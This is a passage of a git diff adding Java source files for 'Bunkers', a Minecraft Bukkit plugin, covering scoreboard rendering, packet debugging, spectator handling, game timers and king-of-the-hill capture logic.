(location.getBlock().getType() == Material.AIR) { + if (blocks.contains(location.getBlockY())) { + player.getPlayer().sendBlockChange(location, blockType, data); + player.getPlayer().sendBlockChange(location.add(0, 2, 0), Material.GLASS, (byte) 0); + } else { + player.getPlayer().sendBlockChange(location, Material.GLASS, (byte) 0); + blocks.add(location.getBlockY() + 1); + } + } + } + } + + public void removePillar() { + int x = location.getBlockX(); + int z = location.getBlockZ(); + + for (int i = 0; i <= 256; i++) { + Location location = new Location(this.location.getWorld(), x, i, z); + if (location.getBlock().getType() == Material.AIR) { + player.getPlayer().sendBlockChange(location, Material.AIR, (byte) 0); + } + } + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/protocol/ProtocolListener.java b/Bunkers/src/main/java/me/redis/bunkers/protocol/ProtocolListener.java new file mode 100644 index 0000000..fe076f5 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/protocol/ProtocolListener.java @@ -0,0 +1,45 @@ +package me.redis.bunkers.protocol; + +import com.comphenix.protocol.PacketType; +import com.comphenix.protocol.ProtocolLibrary; +import com.comphenix.protocol.ProtocolManager; +import com.comphenix.protocol.events.PacketAdapter; +import com.comphenix.protocol.events.PacketEvent; +import me.redis.bunkers.Bunkers; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; + +public class ProtocolListener { + public ProtocolListener() { + ProtocolManager protocolManager = ProtocolLibrary.getProtocolManager(); + + protocolManager.addPacketListener(new PacketAdapter(Bunkers.getPlugin(), PacketType.Play.Server.CUSTOM_PAYLOAD, PacketType.Play.Client.CUSTOM_PAYLOAD) { + @Override public void onPacketReceiving(PacketEvent event) { + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', "&a" + event.getPacketType().name() + "&7(Receive):")); + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', " &7- &e" + event.getPacket().getStrings().readSafely(0))); + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', " &7- &e" + event.getPacket().getIntegers().readSafely(0))); + Bukkit.broadcastMessage(""); + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', "&dByte Arrays:")); + int counter = 0; + for (byte[] byt : event.getPacket().getByteArrays().getValues()) { + + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', " &7- &e" + byt[counter])); + counter++; + } + } + + @Override public void onPacketSending(PacketEvent event) { + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', "&a" + event.getPacketType().name() + "&7(Send):")); + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', " &7- &e" + event.getPacket().getStrings().readSafely(0))); + Bukkit.broadcastMessage(""); + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', "&dByte Arrays:")); + int counter = 0; + for (byte[] byt : event.getPacket().getByteArrays().getValues()) { + + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', " &7- &e" + byt[counter])); + counter++; + } + } + }); + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/scoreboard/Aether.java b/Bunkers/src/main/java/me/redis/bunkers/scoreboard/Aether.java new file mode 100644 index 0000000..67ca81f --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/scoreboard/Aether.java @@ -0,0 +1,250 @@ +package me.redis.bunkers.scoreboard; + +import lombok.Getter; +import me.redis.bunkers.Bunkers; +import me.redis.bunkers.events.BoardCreateEvent; +import me.redis.bunkers.scoreboard.scoreboard.Board; +import me.redis.bunkers.scoreboard.scoreboard.BoardAdapter; +import me.redis.bunkers.scoreboard.scoreboard.BoardEntry; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.EventPriority; +import org.bukkit.event.Listener; +import org.bukkit.event.player.PlayerJoinEvent; +import org.bukkit.event.player.PlayerQuitEvent; +import org.bukkit.plugin.java.JavaPlugin; +import org.bukkit.scheduler.BukkitRunnable; +import org.bukkit.scoreboard.*; + +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.net.HttpURLConnection; +import java.net.MalformedURLException; +import java.net.URL; +import java.util.ArrayList; +import java.util.Collections; +import java.util.Iterator; +import java.util.List; +import java.util.stream.Stream; + +import static me.redis.bunkers.scoreboard.AetherOptions.defaultOptions; + +/** + * TODO: Add documentation to methods, etc + * TODO: Fix inconsistent cooldown scores + * TODO: Finish other board formats + */ + +public class Aether implements Listener { + + @Getter + private JavaPlugin plugin; + @Getter + private AetherOptions options; + @Getter + BoardAdapter adapter; + + public Aether(JavaPlugin plugin, BoardAdapter adapter, AetherOptions options) { + this.options = options; + this.plugin = plugin; + + Bukkit.getPluginManager().registerEvents(this, plugin); + + setAdapter(adapter); + run(); + } + + public Aether(JavaPlugin plugin, BoardAdapter adapter) { + this(plugin, adapter, defaultOptions()); + } + + public Aether(JavaPlugin plugin) { + this(plugin, null, defaultOptions()); + } + + private void run() { + new BukkitRunnable() { + public void run() { + if (adapter == null) return; + + for (Player player : Bukkit.getOnlinePlayers()) { + Board board = Board.getByPlayer(player); + if (board != null) { + List scores = adapter.getScoreboard(player, board, board.getCooldowns()); + List translatedScores = new ArrayList<>(); + + if (scores == null) { + + if (!board.getEntries().isEmpty()) { + + for (BoardEntry boardEntry : board.getEntries()) { + boardEntry.remove(); + } + + board.getEntries().clear(); + } + + continue; + } + + for (String line : scores) { + translatedScores.add(ChatColor.translateAlternateColorCodes('&', line)); + } + + if (!options.scoreDirectionDown()) { + Collections.reverse(scores); + } + + Scoreboard scoreboard = board.getScoreboard(); + Objective objective = board.getObjective(); + + if (!(objective.getDisplayName().equals(adapter.getTitle(player)))) { + objective.setDisplayName(ChatColor.translateAlternateColorCodes('&', adapter.getTitle(player))); + } + + outer: + for (int i = 0; i < scores.size(); i++) { + String text = scores.get(i); + int position; + if (options.scoreDirectionDown()) { + position = 15 - i; + } else { + position = i + 1; + } + + Iterator iterator = new ArrayList<>(board.getEntries()).iterator(); + while (iterator.hasNext()) { + BoardEntry boardEntry = iterator.next(); + Score score = objective.getScore(boardEntry.getKey()); + + if (score != null && boardEntry.getText().equals(ChatColor.translateAlternateColorCodes('&', text))) { + if (score.getScore() == position) { + continue outer; + } + } + } + + int positionToSearch = options.scoreDirectionDown() ? 15 - position : position - 1; + + iterator = board.getEntries().iterator(); + while (iterator.hasNext()) { + BoardEntry boardEntry = iterator.next(); + int entryPosition = scoreboard.getObjective(DisplaySlot.SIDEBAR).getScore(boardEntry.getKey()).getScore(); + + if (!options.scoreDirectionDown()) { + if (entryPosition > scores.size()) { + iterator.remove(); + boardEntry.remove(); + } + } + + } + + BoardEntry entry = board.getByPosition(positionToSearch); + if (entry == null) { + new BoardEntry(board, text).send(position); + } else { + entry.setText(text).setup().send(position); + } + + if (board.getEntries().size() > scores.size()) { + iterator = board.getEntries().iterator(); + while (iterator.hasNext()) { + BoardEntry boardEntry = iterator.next(); + if ((!translatedScores.contains(boardEntry.getText())) || Collections.frequency(board.getBoardEntriesFormatted(), boardEntry.getText()) > 1) { + iterator.remove(); + boardEntry.remove(); + } + } + } + } + + player.setScoreboard(scoreboard); + updateTablist(player); + } + } + } + }.runTaskTimerAsynchronously(plugin, 20L, 1L); + } + + public void setAdapter(BoardAdapter adapter) { + this.adapter = adapter; + for (Player player : Bukkit.getOnlinePlayers()) { + Board board = Board.getByPlayer(player); + + if (board != null) { + Board.getBoards().remove(board); + } + + Bukkit.getPluginManager().callEvent(new BoardCreateEvent(new Board(player, this, options), player)); + } + } + + @EventHandler + public void onPlayerJoinEvent(PlayerJoinEvent event) { + if (Board.getByPlayer(event.getPlayer()) == null) { + Bukkit.getPluginManager().callEvent(new BoardCreateEvent(new Board(event.getPlayer(), this, options), event.getPlayer())); + } + } + + private static Team getExistingOrCreateNewTeam(String string, Scoreboard scoreboard, ChatColor prefix) { + Team toReturn = scoreboard.getTeam(string); + + if (toReturn == null) { + toReturn = scoreboard.registerNewTeam(string); + toReturn.setPrefix(prefix + ""); + } + + return toReturn; + } + + private static void updateTablist(Player target) { + Team spectator = getExistingOrCreateNewTeam("spectator", Board.getByPlayer(target).getScoreboard(), ChatColor.GRAY); + + Team red = getExistingOrCreateNewTeam("red", Board.getByPlayer(target).getScoreboard(), ChatColor.RED); + Team blue = getExistingOrCreateNewTeam("blue", Board.getByPlayer(target).getScoreboard(), ChatColor.BLUE); + Team green = getExistingOrCreateNewTeam("green", Board.getByPlayer(target).getScoreboard(), ChatColor.DARK_GREEN); + Team yellow = getExistingOrCreateNewTeam("yellow", Board.getByPlayer(target).getScoreboard(), ChatColor.YELLOW); + + for (Player online : Bukkit.getOnlinePlayers()) { + me.redis.bunkers.team.Team team = Bunkers.getPlugin().getTeamManager().getByPlayer(online); + + if (team != null) { + if (team.getName().equalsIgnoreCase("red")) { + if (!red.hasEntry(online.getName())) { + red.addEntry(online.getName()); + } + } else if (team.getName().equalsIgnoreCase("blue")) { + if (!blue.hasEntry(online.getName())) { + blue.addEntry(online.getName()); + } + } else if (team.getName().equalsIgnoreCase("green")) { + if (!green.hasEntry(online.getName())) { + green.addEntry(online.getName()); + } + } else if (team.getName().equalsIgnoreCase("yellow")) { + if (!yellow.hasEntry(online.getName())) { + yellow.addEntry(online.getName()); + } + } + } else { + if (!spectator.hasEntry(online.getName())) { + spectator.addEntry(online.getName()); + } + } + } + } + + @EventHandler(priority = EventPriority.HIGHEST) + public void onPlayerQuitEvent(PlayerQuitEvent event) { + Board board = Board.getByPlayer(event.getPlayer()); + if (board != null) { + Board.getBoards().remove(board); + } + } + +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/scoreboard/AetherOptions.java b/Bunkers/src/main/java/me/redis/bunkers/scoreboard/AetherOptions.java new file mode 100644 index 0000000..04abb66 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/scoreboard/AetherOptions.java @@ -0,0 +1,21 @@ +package me.redis.bunkers.scoreboard; + +import lombok.Getter; +import lombok.Setter; +import lombok.experimental.Accessors; + +@Getter +@Setter +@Accessors(chain = true, fluent = true) +public class AetherOptions { + + static AetherOptions defaultOptions() { + return new AetherOptions() + .hook(false) + .scoreDirectionDown(false); + } + + private boolean hook; + private boolean scoreDirectionDown; + +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/scoreboard/scoreboard/Board.java b/Bunkers/src/main/java/me/redis/bunkers/scoreboard/scoreboard/Board.java new file mode 100644 index 0000000..8efb3a2 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/scoreboard/scoreboard/Board.java @@ -0,0 +1,136 @@ +package me.redis.bunkers.scoreboard.scoreboard; + +import lombok.Getter; +import me.redis.bunkers.scoreboard.Aether; +import me.redis.bunkers.scoreboard.AetherOptions; +import me.redis.bunkers.scoreboard.scoreboard.cooldown.BoardCooldown; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.entity.Player; +import org.bukkit.scoreboard.DisplaySlot; +import org.bukkit.scoreboard.Objective; +import org.bukkit.scoreboard.Scoreboard; + +import java.util.*; + +public class Board { + + private static Set boards = new HashSet<>(); + + @Getter private Scoreboard scoreboard; + @Getter private Player player; + @Getter private Objective objective; + @Getter private Set keys; + @Getter private List entries; + private Set cooldowns; + private final Aether aether; + private final AetherOptions options; + + public Board(Player player, Aether aether, AetherOptions options) { + this.player = player; + this.aether = aether; + this.options = options; + this.keys = new HashSet<>(); + this.cooldowns = new HashSet<>(); + this.entries = new ArrayList<>(); + + setup(); + } + + private void setup() { + if (options.hook() && !player.getScoreboard().equals(Bukkit.getScoreboardManager().getMainScoreboard())) { + scoreboard = player.getScoreboard(); + } else { + scoreboard = Bukkit.getScoreboardManager().getNewScoreboard(); + } + + objective = scoreboard.registerNewObjective("glaedr_is_shit", "dummy"); + objective.setDisplaySlot(DisplaySlot.SIDEBAR); + + if (aether.getAdapter() != null) { + objective.setDisplayName(ChatColor.translateAlternateColorCodes('&', aether.getAdapter().getTitle(player))); + } else { + objective.setDisplayName("Default Title"); + } + + boards.add(this); + } + + public String getNewKey(BoardEntry entry) { + + for (ChatColor color : ChatColor.values()) { + String colorText = color + "" + ChatColor.WHITE; + + if (entry.getText().length() > 16) { + String sub = entry.getText().substring(0, 16); + colorText = colorText + ChatColor.getLastColors(sub); + } + + if (!keys.contains(colorText)) { + keys.add(colorText); + return colorText; + } + } + + throw new IndexOutOfBoundsException("No more keys available!"); + } + + public List getBoardEntriesFormatted() { + List toReturn = new ArrayList<>(); + + for (BoardEntry entry : new ArrayList<>(entries)) { + toReturn.add(entry.getText()); + } + + return toReturn; + } + + public BoardEntry getByPosition(int position) { + int i = 0; + + for (BoardEntry board : entries) { + if (i == position) { + return board; + } + i++; + } + + return null; + } + + public BoardCooldown getCooldown(String id) { + for (BoardCooldown cooldown : getCooldowns()) { + if (cooldown.getId().equals(id)) { + return cooldown; + } + } + + return null; + } + + public Set getCooldowns() { + Iterator iterator = cooldowns.iterator(); + + while (iterator.hasNext()) { + BoardCooldown cooldown = iterator.next(); + if (System.currentTimeMillis() >= cooldown.getEnd()) { + iterator.remove(); + } + } + + return cooldowns; + } + + public static Board getByPlayer(Player player) { + for (Board board : boards) { + if (board.getPlayer().getName().equals(player.getName())) { + return board; + } + } + return null; + } + + public static Set getBoards() { + return boards; + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/scoreboard/scoreboard/BoardAdapter.java b/Bunkers/src/main/java/me/redis/bunkers/scoreboard/scoreboard/BoardAdapter.java new file mode 100644 index 0000000..fd9a046 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/scoreboard/scoreboard/BoardAdapter.java @@ -0,0 +1,14 @@ +package me.redis.bunkers.scoreboard.scoreboard; + +import me.redis.bunkers.scoreboard.scoreboard.cooldown.BoardCooldown; +import org.bukkit.entity.Player; + +import java.util.List; +import java.util.Set; + +public interface BoardAdapter { + + String getTitle(Player player); + List getScoreboard(Player player, Board board, Set cooldowns); + +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/scoreboard/scoreboard/BoardEntry.java b/Bunkers/src/main/java/me/redis/bunkers/scoreboard/scoreboard/BoardEntry.java new file mode 100644 index 0000000..8fe0928 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/scoreboard/scoreboard/BoardEntry.java @@ -0,0 +1,85 @@ +package me.redis.bunkers.scoreboard.scoreboard; + +import lombok.Getter; +import lombok.Setter; +import lombok.experimental.Accessors; +import org.apache.commons.lang.StringUtils; +import org.bukkit.ChatColor; +import org.bukkit.scoreboard.Objective; +import org.bukkit.scoreboard.Score; +import org.bukkit.scoreboard.Scoreboard; +import org.bukkit.scoreboard.Team; + +@Accessors(chain = true) +public class BoardEntry { + + @Getter private Board board; + @Getter @Setter private String text; + @Getter private String originalText; + @Getter private String key; + @Getter private Team team; + + public BoardEntry(Board board, String text) { + this.board = board; + this.text = text; + this.originalText = text; + this.key = board.getNewKey(this); + + setup(); + } + + public BoardEntry setup() { + Scoreboard scoreboard = board.getScoreboard(); + + text = ChatColor.translateAlternateColorCodes('&', text); + + String teamName = key; + if (teamName.length() > 16) { + teamName = teamName.substring(0, 16); + } + + if (scoreboard.getTeam(teamName) != null) { + team = scoreboard.getTeam(teamName); + } else { + team = scoreboard.registerNewTeam(teamName); + } + + if (!(team.getEntries().contains(key))) { + team.addEntry(key); + } + + if (!(board.getEntries().contains(this))) { + board.getEntries().add(this); + } + + return this; + } + + public BoardEntry send(int position) { + Objective objective = board.getObjective(); + + if (text.length() <= 16) { + team.setPrefix(text); + team.setSuffix(""); + } else { + String left = text.substring(0, 16), right = ""; + if (left.endsWith("\u00a7")) { + left = left.substring(0, left.length() - 1); + right = "\u00a7"; + } + right = StringUtils.left(ChatColor.getLastColors(left) + right + text.substring(16), 16); + team.setPrefix(left); + team.setSuffix(right); + } + Score score = objective.getScore(key); + score.setScore(position); + + return this; + } + + public void remove() { + board.getKeys().remove(key); + board.getScoreboard().resetScores(key); + } + +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/scoreboard/scoreboard/cooldown/BoardCooldown.java b/Bunkers/src/main/java/me/redis/bunkers/scoreboard/scoreboard/cooldown/BoardCooldown.java new file mode 100644 index 0000000..6040135 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/scoreboard/scoreboard/cooldown/BoardCooldown.java @@ -0,0 +1,39 @@ +package me.redis.bunkers.scoreboard.scoreboard.cooldown; + +import lombok.Getter; +import me.redis.bunkers.scoreboard.scoreboard.Board; +import org.apache.commons.lang.time.DurationFormatUtils; + +import java.text.DecimalFormat; + +public class BoardCooldown { + + private static final DecimalFormat SECONDS_FORMATTER = new DecimalFormat("#0.0"); + + @Getter private final Board board; + @Getter private final String id; + @Getter private final double duration; + @Getter private final long end; + + public BoardCooldown(Board board, String id, double duration) { + this.board = board; + this.id = id; + this.duration = duration; + this.end = (long) (System.currentTimeMillis() + (duration * 1000)); + + board.getCooldowns().add(this); + } + + public String getFormattedString(BoardFormat format) { + if (format == null) throw new NullPointerException(); + if (format == BoardFormat.SECONDS) { + return SECONDS_FORMATTER.format(((end - System.currentTimeMillis()) / 1000.0f)); + } else { + return DurationFormatUtils.formatDuration(end - System.currentTimeMillis(), "mm:ss"); + } + } + + public void cancel() { + board.getCooldowns().remove(this); + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/scoreboard/scoreboard/cooldown/BoardFormat.java b/Bunkers/src/main/java/me/redis/bunkers/scoreboard/scoreboard/cooldown/BoardFormat.java new file mode 100644 index 0000000..61e8c3c --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/scoreboard/scoreboard/cooldown/BoardFormat.java @@ -0,0 +1,7 @@ +package me.redis.bunkers.scoreboard.scoreboard.cooldown; + +public enum BoardFormat { + SECONDS, + MINUTES, + HOURS +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/scoreboard/sidebars/BunkersSidebar.java b/Bunkers/src/main/java/me/redis/bunkers/scoreboard/sidebars/BunkersSidebar.java new file mode 100644 index 0000000..3e8b3ab --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/scoreboard/sidebars/BunkersSidebar.java @@ -0,0 +1,87 @@ +package me.redis.bunkers.scoreboard.sidebars; + +import me.redis.bunkers.Bunkers; +import me.redis.bunkers.game.status.GameStatus; +import me.redis.bunkers.profiles.Profile; +import me.redis.bunkers.profiles.status.PlayerStatus; +import me.redis.bunkers.scoreboard.scoreboard.Board; +import me.redis.bunkers.scoreboard.scoreboard.BoardAdapter; +import me.redis.bunkers.scoreboard.scoreboard.cooldown.BoardCooldown; +import me.redis.bunkers.tasks.GameTimeTask; +import me.redis.bunkers.team.Team; +import me.redis.bunkers.utils.BukkitUtils; +import me.redis.bunkers.utils.DurationFormatter; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.entity.Player; +import org.bukkit.event.Listener; +import org.bukkit.plugin.java.JavaPlugin; + +import java.util.ArrayList; +import java.util.List; +import java.util.Set; + +public class BunkersSidebar implements BoardAdapter, Listener { + public BunkersSidebar(JavaPlugin plugin) { + Bukkit.getPluginManager().registerEvents(this, plugin); + } + + @Override + public String getTitle(Player player) { + return "&6&l" + Bunkers.getPlugin().getInformationManager().getInformation().getServerName() +" &7๏ฝœ &fBunkers"; + } + + @Override + public List getScoreboard(Player player, Board board, Set cooldowns) { + List strings = new ArrayList<>(); + Team team = Bunkers.getPlugin().getTeamManager().getByPlayer(player); + Profile profile = Bunkers.getPlugin().getProfileManager().getProfile(player); + + strings.add(ChatColor.translateAlternateColorCodes('&', "&7&m----------------------&r")); + if (Bunkers.getPlugin().getGameManager().getStatus() == GameStatus.WAITING || Bunkers.getPlugin().getGameManager().getStatus() == GameStatus.STARTING) { + strings.add("&e&lOnline&7: &f" + Bukkit.getOnlinePlayers().size()); + strings.add("&6&lTeam&7: &f" + (team == null ? "None" : team.getColor() + team.getName())); + + if (Bunkers.getPlugin().getGameManager().getStarted()) { + strings.add("&9Starting in &l" + (Bunkers.getPlugin().getGameManager().getCooldown()[0] + 1) + "s"); + } + } else if (Bunkers.getPlugin().getGameManager().getStatus() == GameStatus.PLAYING && profile.getStatus() == PlayerStatus.PLAYING) { + strings.add("&6&lGame Time&7: &f" + BukkitUtils.niceTime(GameTimeTask.getNumOfSeconds(), false)); + if (Bunkers.getPlugin().getTimerManager().getProtectionTimer().getRemaining(player) > 0) { + strings.add("&a&lImmunity&7: &f" + DurationFormatter.getRemaining(Bunkers.getPlugin().getTimerManager().getProtectionTimer().getRemaining(player), true)); + } + strings.add("&9&lKoth&7: &f" + (GameTimeTask.getNumOfSeconds() < 300 ? "Starts in " + BukkitUtils.niceTime(300 - GameTimeTask.getNumOfSeconds(), false) : BukkitUtils.niceTime(Bunkers.getPlugin().getKoth().getCapSeconds(), false))); + strings.add("&e&lTeam&7: &f" + team.getName()); + strings.add("&4&lDTR&7: &f" + team.getDtr() + ".0"); + strings.add("&a&lBalance&7: &f$" + profile.getBalance()); + if (Bunkers.getPlugin().getTimerManager().getTeleportTimer().getRemaining(player) > 0) { + strings.add("&9&lHome&7: &f" + DurationFormatter.getRemaining(Bunkers.getPlugin().getTimerManager().getTeleportTimer().getRemaining(player), true)); + } + } else if (Bunkers.getPlugin().getGameManager().getStatus() == GameStatus.PLAYING && profile.getStatus() == PlayerStatus.SPECTATOR) { + strings.add("&6&lGame Time&7: &f" + BukkitUtils.niceTime(GameTimeTask.getNumOfSeconds(), false)); + strings.add("&a&nTeams&7:"); + for (Team teams : Bunkers.getPlugin().getTeamManager().getTeams().values()) { + strings.add(" &7- " + teams.getColor() + teams.getName() + "&7: &f" + teams.getDtr()); + } + } else if (Bunkers.getPlugin().getGameManager().getStatus() == GameStatus.ENDING) { + strings.add("&6&lWinner Team&7: " + Bunkers.getPlugin().getGameManager().getWinnerTeam().getColor() + Bunkers.getPlugin().getGameManager().getWinnerTeam().getName()); + } + + if (Bunkers.getPlugin().getGameManager().isEvent()) { + strings.add(ChatColor.translateAlternateColorCodes('&', "&7&m----------------------&l")); + if (Bunkers.getPlugin().getGameManager().getScoreboard() == 0) { + strings.add("&e" + Bunkers.getPlugin().getGameManager().getEventName()); + } else { + strings.add("&eAddress&7: &f" + Bunkers.getPlugin().getInformationManager().getInformation().getAddress()); + } + } + + strings.add(ChatColor.translateAlternateColorCodes('&', "&7&m----------------------")); + + if (strings.size() == 2) { + return null; + } + + return strings; + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/spectator/Spectator.java b/Bunkers/src/main/java/me/redis/bunkers/spectator/Spectator.java new file mode 100644 index 0000000..1db2b73 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/spectator/Spectator.java @@ -0,0 +1,31 @@ +package me.redis.bunkers.spectator; + +import lombok.Getter; +import me.redis.bunkers.Bunkers; +import me.redis.bunkers.profiles.Profile; +import me.redis.bunkers.profiles.status.PlayerStatus; +import org.bukkit.Bukkit; +import org.bukkit.GameMode; +import org.bukkit.entity.Player; + +import java.util.ArrayList; +import java.util.List; + +public class Spectator { + @Getter public List spectators = new ArrayList<>(); + + public void setSpectator(Player player) { + Profile profile = Bunkers.getPlugin().getProfileManager().getProfile(player); + + profile.setStatus(PlayerStatus.SPECTATOR); + player.setGameMode(GameMode.SURVIVAL); + player.setAllowFlight(true); + player.setSaturation(20); + player.setHealth(20); + player.spigot().setCollidesWithEntities(false); + + Bukkit.getOnlinePlayers().forEach(online -> { + online.hidePlayer(player); + }); + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/tasks/GameTimeTask.java b/Bunkers/src/main/java/me/redis/bunkers/tasks/GameTimeTask.java new file mode 100644 index 0000000..17251b9 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/tasks/GameTimeTask.java @@ -0,0 +1,43 @@ +package me.redis.bunkers.tasks; + +import org.bukkit.scheduler.BukkitRunnable; + +import static sun.audio.AudioPlayer.player; + +public class GameTimeTask extends BukkitRunnable { + public static boolean initialized = false; + public static int seconds = 0; + public static int minutes = 0; + public static int hours = 0; + + @Override + public void run() { + if (++GameTimeTask.seconds == 60) { + ++GameTimeTask.minutes; + GameTimeTask.seconds = 0; + } + + if (GameTimeTask.minutes == 60) { + ++GameTimeTask.hours; + GameTimeTask.minutes = 0; + } + + if (!GameTimeTask.initialized || seconds == 0 || seconds % 5 == 0) { + boolean initializing = false; + if (!GameTimeTask.initialized) { + --GameTimeTask.seconds; + initializing = true; + } + + if (initializing) { + ++GameTimeTask.seconds; + } + + GameTimeTask.initialized = true; + } + } + + public static int getNumOfSeconds() { + return GameTimeTask.seconds + (GameTimeTask.minutes * 60) + (GameTimeTask.hours * 60 * 60); + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/tasks/KothTask.java b/Bunkers/src/main/java/me/redis/bunkers/tasks/KothTask.java new file mode 100644 index 0000000..4303e70 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/tasks/KothTask.java @@ -0,0 +1,70 @@ +package me.redis.bunkers.tasks; + +import me.redis.bunkers.Bunkers; +import me.redis.bunkers.game.status.GameStatus; +import me.redis.bunkers.koth.Koth; +import me.redis.bunkers.team.Team; +import me.redis.bunkers.utils.BukkitUtils; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.entity.Player; +import org.bukkit.scheduler.BukkitRunnable; + +public class KothTask extends BukkitRunnable { + private Koth koth = Bunkers.getPlugin().getKoth(); + boolean started = false; + + @Override public void run() { + if (!started) { + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', "&6[KingOfTheHill] &eThe &9Koth &ecan now be contested. &7(10:00)")); + started = true; + } + + if (koth.getCapSeconds() <= 0) { + Team team = Bunkers.getPlugin().getTeamManager().getByPlayer(koth.getController()); + Bunkers.getPlugin().getGameManager().setWinnerTeam(team); + + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', "The " + team.getColor() + team.getName() + " &ehas won the &9Bunkers&e!")); + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', "The " + team.getColor() + team.getName() + " &ehas won the &9Bunkers&e!")); + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', "The " + team.getColor() + team.getName() + " &ehas won the &9Bunkers&e!")); + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', "The " + team.getColor() + team.getName() + " &ehas won the &9Bunkers&e!")); + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', "The " + team.getColor() + team.getName() + " &ehas won the &9Bunkers&e!")); + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', "The " + team.getColor() + team.getName() + " &ehas won the &9Bunkers&e!")); + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', "The " + team.getColor() + team.getName() + " &ehas won the &9Bunkers&e!")); + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', "The " + team.getColor() + team.getName() + " &ehas won the &9Bunkers&e!")); + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', "The " + team.getColor() + team.getName() + " &ehas won the &9Bunkers&e!")); + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', "The " + team.getColor() + team.getName() + " &ehas won the &9Bunkers&e!")); + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', "The " + team.getColor() + team.getName() + " &ehas won the &9Bunkers&e!")); + + Bunkers.getPlugin().getGameManager().setStatus(GameStatus.ENDING); + + cancel(); + return; + } + + for (Player player : Bukkit.getOnlinePlayers()) { + if (Bunkers.getPlugin().getSpectatorManager().getSpectators().contains(player)) return; + + if (koth.isInsideArea(player.getLocation())) { + if (koth.getController() == null) { + koth.setController(player); + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', "&6[KingOfTheHill] &eSomeone has started controlling the &9Koth&e. &7(" + BukkitUtils.niceTime(koth.getSeconds(), false) + ")")); + } + + if (koth.getCapSeconds() % 30 == 0 && koth.getCapSeconds() != 600) { + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', "&6[KingOfTheHill] &eSomeone is trying to control the &9Koth&e. &7(" + BukkitUtils.niceTime(koth.getCapSeconds(), false) + ")")); + } + } else { + if (koth.getController() == player) { + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', "&6[KingOfTheHill] &eSomeone has been knocked off the &9Koth&e. &7(" + BukkitUtils.niceTime(koth.getCapSeconds(), false) + ")")); + koth.setController(null); + koth.setCapSeconds(koth.getSeconds()); + } + } + } + + if (koth.getController() != null) { + koth.setCapSeconds(koth.getCapSeconds() - 1); + } + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/team/Team.java b/Bunkers/src/main/java/me/redis/bunkers/team/Team.java new file mode 100644 index 0000000..709a3c2 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/team/Team.java @@ -0,0 +1,114 @@ +package me.redis.bunkers.team; + +import com.mongodb.client.FindIterable; +import com.mongodb.client.model.Filters; +import lombok.Getter; +import lombok.Setter; +import me.redis.bunkers.Bunkers; +import me.redis.bunkers.profiles.Profile; +import me.redis.bunkers.profiles.status.PlayerStatus; +import me.redis.bunkers.utils.Cuboid; +import me.redis.bunkers.utils.LocationUtils; +import org.bson.Document; +import org.bson.conversions.Bson; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.Location; +import org.bukkit.OfflinePlayer; +import org.bukkit.entity.Player; + +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.UUID; + +@Getter +public class Team { + private String name; + @Setter private String firstCorner, secondCorner, spawnLocation; + @Setter private String combatShop, enchantShop, sellShop, buildShop; + @Setter private int dtr; + private List members; + + public Team(String name) { + this.name = name; + + members = new ArrayList<>(); + load(); 